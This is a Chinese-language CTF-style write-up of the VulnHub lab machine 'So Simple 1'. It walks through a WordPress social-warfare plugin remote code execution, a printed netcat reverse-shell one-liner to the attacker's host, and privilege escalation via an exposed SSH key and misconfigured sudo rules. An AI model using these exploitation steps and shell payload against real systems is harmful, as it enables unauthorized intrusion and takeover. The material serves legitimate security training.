0%

VulnHub靶机writeup--So Simple 1

前言

发现前两天下了个靶机还没做,今天就做一下,马上要开学了,有点期待。

正文

下载靶机So Simple 1到本地,本来是用VMware打开的,但是发现有点问题,就用VirtualBox了,值得注意的一点是VirtualBox要用管理员权限打开,这里我被坑了好久,还有一点就是VirtualBox没有扩展下载的话就把靶机的USB设备调到1.1(OHCI),要不打不开。

这里网络设置是,kali我是用VMware打开,靶机用的VirtualBox,网络设置都设置为桥接模式,和物理机同在一个网段。

kali:192.168.0.105

靶机:192.168.0.100

靶机端口扫描结果开启了22和80端口

目录扫描

dirb扫描结果没啥特殊的,唯一值得关注的是靶机有wordpress,在路径http://192.168.0.100/wordpress/目录下,这里用wpscan扫描:

wpscan --url http://192.168.0.100/wordpress

wp6Yb8.png

发现插件social-warfare版本有些低,网上查一查,果真查到了RCE漏洞

wp6Dvq.png

漏洞利用

通过给的POC验证一下:

首先在本地写好payload,用python搭建一个HTTP服务:

wphUOA.png

然后查看http://192.168.0.100/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.0.105:8000/payload.txt

wp4QXj.png

POC验证成功

然后通过RCE来反弹一个shell,先写一个反弹shell,然后在本地监听

w9CKoV.png

这里的payload为:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.105 9527 >/tmp/f

解释一下,这里先用mkfifo建立了一个管道,然后使用cat将管道里面的内容输出传递给/bin/bash,bash会执行管道里面的命令并将标准输出和标准错误通过nc传递给远程主机,管道的标准输入也重定向到nc远程主机的输出上,形成了一个回路

用户权限获取

根据提示,这个靶机有三个flag,两个用户和一个root,那么就要获取到这三个权限来查看flag,先从用户看:

w9PFTx.png

两个用户,一个max一个steven

w9Pc3F.png

max用户的ssh私钥设置不当,www-data用户可以使用cat查看到,将ssh私钥复制到本地,通过ssh连接到靶机,获取到max用户权限(要设置文件权限才可以使用)

w9kXDJ.png

max的flag

w9A8bj.png

使用sudo -l发现steven用户可以免密使用service服务,使用service切换到steven用户的bash

w9Aqit.png

获取到steven的flag

w9ElJx.png

root权限获取

同样的通过sudo -l看到可以使用root权限免密运行/opt/tools/server-health.sh,但是tools文件夹并不存在

w9nzLT.png

可以自己创建该文件,写入一个反弹shell

w9Q0te.png

在本地进行监听,成功获取root用户的flag

w9lAAO.png

总结

这次的靶机也很简单,但是实际上来说,黑灯瞎火去找,或许会没有思路,只能说这次靶机的思路很骚,或许是我少见多怪,其中也学习到了很多东西,包括wordpress插件的RCE漏洞利用,使用ssh私钥登陆远程主机,sudo设置中免密配置不当可以造成越权,反弹shell的原理以及使用。